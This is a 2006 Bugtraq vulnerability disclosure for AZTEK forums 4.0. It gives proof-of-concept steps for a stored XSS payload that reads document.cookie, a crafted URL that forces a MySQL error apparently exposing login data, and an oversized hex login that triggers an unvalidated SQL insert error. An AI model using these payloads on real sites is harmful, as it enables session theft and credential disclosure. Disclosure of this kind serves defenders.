bugtraq - AZTEK forums 4.0 multiple vulnerabilities (PoC)

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Date: 2 Mar 2006 22:46:59 -0000
From: billy@...mail.com
To: bugtraq@...urityfocus.com
Subject: AZTEK forums 4.0 multiple vulnerabilities (PoC)


/*==========================================*/
// AZTEK forums 4.0 multiple vulnerabilities (PoC)
// Product: AZTEK forums
// URL: http://www.forum-aztek.com/
// RISK: high
/*==========================================*/

[PoC]

1- XSS
	- Post a message including the following line:
</textarea>'"><script>alert(document.cookie)</script>

	- Valid.
	- Click on "Citer" to execute the script.

	You can also do it with the edit button (after loging in).

2- 
	Do the following request :
http://SOME_HOST/forum/index.php?msg=*/*

	It will dump a MySQL error message which can dump login:pw infos.

3- 
	- Register with :
	login : 6b 66 73 6a 64 61 20 54 50 68 70 45 72 72 6f 72 45 78 63 65 
	70 74 69 6f 6e 0d 0a 44 65 73 63 72 69 70 74 69 6f 6e 0d 0a 5b 57 61 
	72 6e 69 6e 67 5d 20 6d 79 73 71 6c 5f 63 6f 6e 6e 65 63 74 28 29 20 
	5b 3c 61 20 68 72 65 66 3d 27 66 75 
    [...a huge login name...]
	6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e 6e 65 63 74 27 3e 66 
	75 6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e
	passwd:blabla
	email:blabla@...il.com
	- Valid.

	This form is not validated at all, so it can cause a MySQL error like :

Mysql error in file /home/httpd/vhosts/www.**********.com/web/forum/index/actions.php in 
function subscribe at line 222

Mysql query error : 
	INSERT INTO atk_users (login,owner,passwd,email,show_email,alert_mp,subscribe) 
		VALUES ('6b 66 73 6a 64 61 20 54 50 68 [...]','admin','atHax4CLQE42Q','blabla@...il.com','1','1','1141202540')

Please note this error and contact your administrator.

--
PoC by lorenzo [GHT], http://ght.c.la/